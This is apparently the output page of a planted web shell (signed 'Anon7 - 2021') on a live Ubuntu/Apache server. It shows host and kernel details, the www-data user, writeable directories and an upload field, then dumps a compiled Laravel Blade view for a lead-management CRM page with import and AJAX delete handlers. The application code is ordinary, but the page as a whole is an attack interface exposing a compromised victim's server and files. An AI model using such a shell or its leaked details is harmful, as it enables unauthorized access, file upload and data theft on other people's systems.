KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.41 (Ubuntu)
System : Linux vmi1525618.contaboserver.net 5.4.0-105-generic #119-Ubuntu SMP Mon Mar 7 18:49:24 UTC 2022 x86_64
User : www-data ( 33)
PHP Version : 8.2.12
Disable Function : NONE
Directory :  /var/www/leadai/leadai.co.in/storage/framework/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/leadai/leadai.co.in/storage/framework/views/7619c2f8d38770e80566920de0633a1674313352.php
<?php $__env->startSection('content'); ?>
<!-- begin::main content -->
<style>
   .input_upload{
   width:100px;
   height:35px;
   position:absolute;
   bottom:-34px;
   right:350px;
   }
   .import-content p{
   padding:0;
   margin:0;
   margin-bottom:8px;
   font-size:13px;
   }
   .filter-form-box{
   background-color:#FBFAFA;
   padding:10px 24px;
   position:absolute;
   width:450px;
   border:1px solid #ddd;
   border-radius:5px;
   top:71px;
   z-index:20;
   }
   .filter-form-box input{
   height:40px !important;
   }
   .diamond {
   width: 20px;
   height: 20px;
   background-color: #FBFAFA;
   transform: rotate(45deg);
   position: relative;
   top:-21px;
   left:0px;
   border-top:1px solid #ddd;
   border-left:1px solid #ddd;
   }
   .seach-input:focus{
   outline:none !important;
   border-top:1px solid #ddd !important;
   border-bottom:1px solid #ddd !important;
   }
   .seach-input{
   height:40px !important;
   border-top:1px solid #ddd !important;
   border-bottom:1px solid #ddd !important;
   border-left:1px solid #ddd !important;
   }
</style>
<main class="main-content">
   <div class="container">
      <div class="toast d-none float-right" >
         <div class="toast-body bg-success text-white">
            <i class="fa fa-check fa-lg"></i>&nbsp Status Update Successfully
         </div>
      </div>

      <section class='main-section1'>
          <!-- begin::page header -->
        <div class="page-header d-flex justify-content-between align-items-center">
            <div>
                <h3>Manage Leads - Sales</h3>
                <nav aria-label="breadcrumb">
                <ol class="breadcrumb">
                    <li class="breadcrumb-item"><a href="<?php echo e(asset('dashboard')); ?>"><?php echo e(__('message.dashboard')); ?></a></li>
                    <li class="breadcrumb-item active" aria-current="page">Lead</li>
                    <li class="breadcrumb-item"><a href="<?php echo e(asset('dashboard')); ?>">Lead</a></li>
                </ol>
                </nav>
            </div>
            <ul class='nav-item dropdown d-flex'>
                <div class="dropdown show" style='margin-right:20px;'>
                  <select class="form-control change_pipeline">
                     <?php if(!empty($pipelines)): ?>
                     <?php $__currentLoopData = $pipelines; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $pipeline): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                     <option value="<?php echo e($pipeline->id); ?>"><?php echo e($pipeline->name); ?></option>
                     <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                     <?php endif; ?>
                  </select>

                <div class="dropdown-menu " aria-labelledby="dropdownMenuButton" x-placement="bottom-start" style="position: absolute; transform: translate3d(0px, 26px, 0px); top: 0px; left: 0px; will-change: transform;">
                    <a class="dropdown-item" href="#">Sales</a>
                </div>
                </div>

                <!-- Modal Create user-->


              <?php echo $__env->make('leads.modal.create_modal', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?>
                <!-- Modal Import Lead CV-->
                <div class="modal fade" id="exampleModal2" tabindex="-1" aria-labelledby="exampleModalLabel" aria-hidden="true">
                    <div class="modal-dialog">
                        <div class="modal-content">
                            <div class="modal-header">
                                <h5 class="" >Import Lead CSV file</h5>
                                <button type="button" class="btn-close bg-blue text-white" data-bs-dismiss="modal" aria-label="Close"style='border:none;margin-right:10px;' >
                                <i class="fa fa-times" aria-hidden="true"></i>
                                </button>
                            </div>
                            <div class="modal-body">
                                <div class="d-flex">
                                <p>Download sample Lead CSV file</p>
                                <button class="btn btn-primary waves-effect waves-button waves-light" type="submit" style='margin-left:20px;'>Submit form</button>
                                </div>
                                <div class="form-group">
                                <label for="exampleFormControlFile1">Example file input</label>
                                <input type="file" class="form-control-file" id="exampleFormControlFile1">
                                </div>
                            </div>
                            <div class="modal-footer">
                                <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Cancel</button>
                                <button type="button" class="btn btn-primary">Create</button>
                            </div>
                        </div>
                    </div>
                </div>
                <li>
                <a href="<?php echo e(route('lead.list')); ?>">
                <span class="icon-block bg-blue text-white icon-block-floating icon-block-sm m-r-10">
                <i class="fa fa-list" aria-hidden="true"></i>
                </span>
                </a>
                </li>
                <li data-bs-toggle="modal" data-bs-target="#exampleModal2" class='cursor-pointer'>
                <span class="icon-block bg-blue text-white icon-block-floating icon-block-sm m-r-10 cursor-pointer" style='cursor:pointer;'>
                <i class="fa fa-cloud-upload" aria-hidden="true"></i>
                </span>
                </li>
                <li>
                <span class="icon-block bg-blue text-white icon-block-floating icon-block-sm m-r-10">
                <i class="fa fa-file-o" aria-hidden="true"></i>
                </span>
                </li>
                <li data-bs-toggle="modal" data-bs-target="#leadModal" class='cursor-pointer'>
                <span class="icon-block bg-blue text-white icon-block-floating icon-block-sm m-r-10 cursor-pointer" style='cursor:pointer;'>
                <i class="fa fa-plus" aria-hidden="true"></i>
                </span>
                </li>
            </ul>
        </div>
        <!-- end::page header -->
        <?php if (isset($component)) { $__componentOriginal8a5ba9c90b64d384232e9948b1023e746ba08e74 = $component; } ?>
<?php $component = $__env->getContainer()->make(App\View\Components\FlashMessage::class, []); ?>
<?php $component->withName('flashMessage'); ?>
<?php if ($component->shouldRender()): ?>
<?php $__env->startComponent($component->resolveView(), $component->data()); ?>
<?php $component->withAttributes([]); ?>
<?php echo $__env->renderComponent(); ?>
<?php endif; ?>
<?php if (isset($__componentOriginal8a5ba9c90b64d384232e9948b1023e746ba08e74)): ?>
<?php $component = $__componentOriginal8a5ba9c90b64d384232e9948b1023e746ba08e74; ?>
<?php unset($__componentOriginal8a5ba9c90b64d384232e9948b1023e746ba08e74); ?>
<?php endif; ?>
        <?php if($errors->any()): ?>
    <div class="alert alert-danger">
        <ul>
            <?php $__currentLoopData = $errors->all(); $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $error): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                <li><?php echo e($error); ?></li>
            <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
        </ul>
    </div>
<?php endif; ?>
        <div class="row">
            <div class="col-md-4 py-3">
                <div class="card p-3">
                <div class="d-flex justify-content-between">
                    <h5 class="font-size-18 ">Received</h5>
                    <a href="#" class="btn btn-sm bg-blue btn-uppercase waves-effect waves-button waves-light text-white">1</a>
                </div>
                </div>
            </div>
            <div class="col-md-4 py-3 cursor-pointer">
                <div class="card p-3">
                <div class="d-flex justify-content-between ">
                    <h5 class="font-size-18 ">Ghmhotels</h5>
                    <a href="#" class="btn btn-sm bg-blue btn-uppercase waves-effect waves-button waves-light text-white">1</a>
                </div>
                <div class="card p-3 mt-3">
                    <div class='d-flex justify-content-between ghm-hotel'>
                        <h6 class="card-title">GHM Hotel</h6>
                        <div class="apexcharts-menu-icon" title="Menu">
                            <i class="fa fa-menu font-size-16"></i>
                            <i class="fa fa-ellipsis-v" aria-hidden="true"></i>
                        </div>
                    </div>
                    <div class='d-flex justify-content-between mt-4'>
                        <div class='d-flex justify-content-between'>
                            <h5 class='mb-0 ms-3'>0</h5>
                            <h5 class='mb-0 ms-3'>0</h5>
                        </div>
                        <div class="avatar-group">
                            <figure class="avatar">
                            <span class="avatar-title bg-success rounded-circle" style='width:28px;height:28px;font-size:12px;'>E</span>
                            </figure>
                            <figure class="avatar">
                            <span class="avatar-title bg-danger rounded-circle" style='width:28px;height:28px;font-size:12px;'>S</span>
                            </figure>
                            <figure class="avatar">
                            <span class="avatar-title bg-primary rounded-circle" style='width:28px;height:28px;font-size:12px;'>C</span>
                            </figure>
                        </div>
                    </div>
                </div>
                </div>
            </div>

            <div class="col-md-4 py-3">
                <div class="card p-3">
                <div class="d-flex justify-content-between">
                    <h5 class="font-size-18 ">Open</h5>
                    <a href="#" class="btn btn-sm bg-blue btn-uppercase waves-effect waves-button waves-light text-white">1</a>
                </div>
                </div>
            </div>
            <div class="col-md-4 py-3">
                <div class="card p-3">
                <div class="d-flex justify-content-between">
                    <h5 class="font-size-18 ">Received</h5>
                    <a href="#" class="btn btn-sm bg-blue btn-uppercase waves-effect waves-button waves-light text-white">1</a>
                </div>
                </div>
            </div>
        </div>
      </section>


      <section class='main-section '>
          <!-- begin::page header -->
        <div class="page-header d-flex justify-content-between align-items-center">
            <div>
                <h3>Manage Leads - Sales</h3>
                <nav aria-label="breadcrumb">
                <ol class="breadcrumb">
                    <li class="breadcrumb-item"><a href="<?php echo e(asset('dashboard')); ?>"><?php echo e(__('message.dashboard')); ?></a></li>
                    <li class="breadcrumb-item active" aria-current="page">Lead</li>
                    <li class="breadcrumb-item"><a href="<?php echo e(asset('dashboard')); ?>">Lead</a></li>
                </ol>
                </nav>
            </div>
            <ul class='nav-item dropdown d-flex'>
                <div class="dropdown show" style='margin-right:20px;'>
                <button class="btn btn-light dropdown-toggle waves-effect waves-button waves-light" type="button" data-toggle="dropdown" aria-expanded="false">
                Sales
                </button>
                <div class="dropdown-menu " aria-labelledby="dropdownMenuButton" x-placement="bottom-start" style="position: absolute; transform: translate3d(0px, 26px, 0px); top: 0px; left: 0px; will-change: transform;">
                    <a class="dropdown-item" href="#">Sales</a>
                </div>
                </div>

                <!-- Modal Import Lead CV-->
                <div class="modal fade" id="exampleModal2" tabindex="-1" aria-labelledby="exampleModalLabel" aria-hidden="true">
                <div class="modal-dialog">
                    <div class="modal-content">
                        <div class="modal-header">
                            <h5 class="" >Import Lead CSV file</h5>
                            <button type="button" class="btn-close bg-blue text-white" data-bs-dismiss="modal" aria-label="Close"style='border:none;margin-right:10px;' >
                            <i class="fa fa-times" aria-hidden="true"></i>
                            </button>
                        </div>
                        <div class="modal-body">
                            <div class="d-flex">
                            <p>Download sample Lead CSV file</p>
                            <button class="btn btn-primary waves-effect waves-button waves-light" type="submit" style='margin-left:20px;'>Submit form</button>
                            </div>
                            <div class="form-group">
                            <label for="exampleFormControlFile1">Example file input</label>
                            <input type="file" class="form-control-file" id="exampleFormControlFile1">
                            </div>
                        </div>
                        <div class="modal-footer">
                            <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Cancel</button>
                            <button type="button" class="btn btn-primary">Create</button>
                        </div>
                    </div>
                </div>
                </div>
                <li>
                <a href="<?php echo e(route('lead.list')); ?>">
                <span class="icon-block bg-blue text-white icon-block-floating icon-block-sm m-r-10">
                <i class="fa fa-list" aria-hidden="true"></i>
                </span>
                </a>
                </li>
                <li data-bs-toggle="modal" data-bs-target="#exampleModal2" class='cursor-pointer'>
                <span class="icon-block bg-blue text-white icon-block-floating icon-block-sm m-r-10 cursor-pointer" style='cursor:pointer;'>
                <i class="fa fa-cloud-upload" aria-hidden="true"></i>
                </span>
                </li>
                <li>
                <span class="icon-block bg-blue text-white icon-block-floating icon-block-sm m-r-10">
                <i class="fa fa-file-o" aria-hidden="true"></i>
                </span>
                </li>
                <li data-bs-toggle="modal" data-bs-target="#exampleModal" class='cursor-pointer'>
                <span class="icon-block bg-blue text-white icon-block-floating icon-block-sm m-r-10 cursor-pointer" style='cursor:pointer;'>
                <i class="fa fa-plus" aria-hidden="true"></i>
                </span>
                </li>
            </ul>
        </div>
        <!-- end::page header -->

      </section>

   </div>
   <!-- The Modal -->
   <div class="modal" id="importModal">
      <div class="modal-dialog modal-dialog-centered">
         <div class="modal-content">
            <!-- Modal Header -->
            <div class="modal-header bg-success  rounded-0">
               <h4 class="modal-title">Import Distributor</h4>
               <button type="button" class="close" data-dismiss="modal">&times;</button>
            </div>
            <!-- Modal body -->
            <div class="modal-body">
               <div class="row">
                  <div class="col-md-3 py-5">
                     <i class="fa fa-warning text-warning" style="font-size:50px"></i>
                  </div>
                  <div class="col-md-9 import-content">
                     <p>Import Distributor (.xls, .xlsx)</p>
                     <p><strong>Follow these steps:</strong></p>
                     <p>1. Download the Excel template to your computer by clicking the <strong>Download</strong> button.</p>
                     <p>2. Integrate your data into the template file, minding the column names.</p>
                     <p>3. Click the <strong>Import</strong> button.</p>
                     <p><strong>IMPORTANT</strong></p>
                     <p>- If you do not have data for a particular column, leave it empty and do not move or delete the column.</p>
                  </div>
               </div>
            </div>
            <!-- Modal footer -->
            <div class="modal-footer position-relative">
               <form  class="import-company-form" enctype="multipart/form-data">
                  <?php echo csrf_field(); ?>
                  <div class="">
                     <div class="">
                        <div class="" style="position:relative">
                           <input type="file" accept="" name="excel_file" class="input_upload input_file_upload" style="z-index:5;opacity:0;cusor:pointer;">
                           <button type="submit" class="btn bg-blue text-uppercase input_upload input_upload_btn text-white mr-2">
                           <i class="fa fa-upload pr-2"></i>
                           Import
                           </button>
                        </div>
                     </div>
                     <div class="">
                        <div class="d-flex justify-content-center">
                           <a href="<?php echo e(asset('public/distributor_sample.xlsx')); ?>" class="btn btn-info" download>Download Sample &nbsp<i class="fa fa-download"></i></a>
                        </div>
                     </div>
                  </div>
               </form>
            </div>
         </div>
      </div>
   </div>
</main>
<!-- end::main content -->
<?php $__env->stopSection(); ?>
<?php $__env->startPush('footer-script'); ?>
<!-- begin::dataTable -->
<!-- end::dataTable -->
<script>
   $(document).ready(function() {
       $("#checkAll").click(function() {
           $('.userids:checkbox').not(this).prop('checked', this.checked);
           var length = $('.userids[type="checkbox"]:checked').length;
           if($(".multiple-delete-btn").hasClass('d-none'))
           {
               $(".multiple-delete-btn").removeClass("d-none");
               $(".multiple-delete-btn").html('<span class="pt-1">Delete ('+length+")</span>");
           }
           else
           {
               $(".multiple-delete-btn").addClass("d-none");
           }

       });

       //employee delte button code
       $(".emp-delete-btn").click(function(){
           var emp_id = $(this).attr("emp_id");


           swal({
               title: 'Are you sure?',
               text: 'Once deleted, you will not be recover!',
               icon: 'warning',
               dangerMode: true,
               buttons: ["Cancel", "Yes!"],
           }).then(function(value) {
               if (value) {
                   $.ajaxSetup({
                       headers: {
                           'X-CSRF-TOKEN': $('meta[name="csrf-token"]').attr('content')
                       }
                   });

                   $.ajax({
                       type: "post",
                       data: {
                           "emp_id": emp_id
                       },
                       url: "<?php echo e(asset('delete-distributor')); ?>",
                       dataType: "html",
                       success: function(result) {
                           //console.log(result);
                           swal("success!", "Successfully deleted!", "success");
                           window.location.reload();
                       },
                       error:function(error)
                       {
                           swal("Failed !", "Failed !", "error");
                           window.location.reload();
                       }
                   });

               }
           });
       });



       $(".input_file_upload").on("change",function(){
           $(".import-company-form").submit();
       });

       $(".import-company-form").on("submit", function(event) {
               // Prevent the default form submission
               event.preventDefault();


               $.ajax({
                   type: "POST",
                   url: "<?php echo e(asset('import-distributor')); ?>",
                   headers: {
                           'X-CSRF-TOKEN': $('meta[name="csrf-token"]').attr('content')
                       },
                   data: new FormData(this),
                   processData: false,
                   contentType: false,
                   cache:false,
                   beforeSend:function()
                   {
                       $(".import-content").html("<h5>Please wait uploading...</h5>");
                   },
                   success: function(response)
                   {
                       if(response.message=="success")
                       {
                           var div = `<div class='text-success text-center' style='font-size:50px'>
                           <i class='fa fa-check-circle' ></i>
                           <p  style='font-size:20px'>Dealer/Partner Import Successfully !</p>
                       </div>`;
                           $(".import-content").html(div);
                           setTimeout(function(){
                               window.location.reload();
                           },3000);

                       }
                       else
                       {
                           //console.log(error);
                           var div = `<div class='text-danger text-center' style='font-size:50px'>
                           <i class='fa fa-times-circle' ></i>
                           <p  style='font-size:20px'>Please check the datasheet !</p>
                       </div>`;
                           $(".import-content").html(div);
                       }
                   },
                   error: function(xhr, status, error)
                   {
                       //console.log(error);
                       var div = `<div class='text-danger text-center' style='font-size:50px'>
                       <i class='fa fa-times-circle' ></i>
                       <p  style='font-size:20px'>Please check the datasheet !</p>
                   </div>`;
                       $(".import-content").html(div);
                   }
               });
       });


       // Delete Multiple
       $(".multiple-delete-btn").click(function() {
           var URL = "<?php echo e(asset('distributor-delete-multiple')); ?>";
           var user_ids = [];
           $('.userids:checkbox:checked').each(function() {
               user_ids.push($(this).val());
           });



           swal({
               title: 'Are you sure?',
               text: 'Once deleted, you will not be recover!',
               icon: 'warning',
               dangerMode: true,
               buttons: ["Cancel", "Yes!"],
           }).then(function(value) {
               if (value) {
                   $.ajaxSetup({
                       headers: {
                           'X-CSRF-TOKEN': $('meta[name="csrf-token"]').attr('content')
                       }
                   });

                   $.ajax({
                       type: "post",
                       data: {
                           "ids": user_ids
                       },
                       url: URL,
                       dataType: "html",
                       success: function(result) {
                           console.log(result);
                           swal("success!", "Successfully deleted!", "success");
                           window.location.reload();
                       },
                       error:function(xhr,status,error)
                       {
                           swal("failed!", "Failed !", "error");
                          window.location.reload();
                       }
                   });

               }
           });

       });


   });

   $(".apply-button").click(function(){
       $(".filter-form-box").addClass("d-none");
   });


   //filter company code
   $(".filter-company-btn").click(function(){

       if($(".filter-form-box").hasClass("d-none"))
       {
           $(".filter-form-box").removeClass("d-none");
       }
       else
       {
           $(".filter-form-box").addClass("d-none");
       }
   });


   $(".change_pipeline").on("change",function(){

      var change_pipeline = $('.change_pipeline').val();

      alert(change_pipeline);;
   });


    //change status code
   $(".status-change").on("change",function(){

       var check_val = 0;
       if( $(this).is(":checked"))
       {
           check_val = 1;
       }

       var id = $(this).val();

       $.ajax({
           type: "post",
           headers: {
               'X-CSRF-TOKEN': $('meta[name="csrf-token"]').attr('content')
           },
           url: "<?php echo e(asset('change-user-status')); ?>",
           data:{
               user_id:id,
               status:check_val
           },
           dataType: "html",
           success: function(result)
           {   console.log(result);
               var allData = JSON.parse(result);

               if(allData.message=="success")
               {
                   $('.toast').removeClass('d-none');
                   $('.toast').toast('show');
               }
               else
               {
                   var div = `
                   <div class="toast-body bg-danger text-white">
                           <i class="fa fa-times-circle-o fa-lg"></i>&nbsp Status Update Failed

                   </div>
               `;

               $('.toast').removeClass('d-none');
                   $('.toast').toast('show');
                   $('.toast').html(div);
               }
           },
           error:function(xhr,status,error)
           {
               console.log(error);
               var div = `
                   <div class="toast-body bg-danger text-white">
                           <i class="fa fa-times-circle-o fa-lg"></i>&nbsp Status Update Failed

                   </div>
               `;

               $('.toast').removeClass('d-none');
                   $('.toast').toast('show');
                   $('.toast').html(div);

           }
       });

   });
   $(".main-section").hide();

   $(".ghm-hotel").click(function(){
  $(".main-section").show();
  $(".main-section1").hide();
});

</script>
<?php $__env->stopPush(); ?>
<?php echo $__env->make('layout', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?><?php /**PATH C:\xampp\htdocs\lead_admin\resources\views/leads/index.blade.php ENDPATH**/ ?>

Anon7 - 2021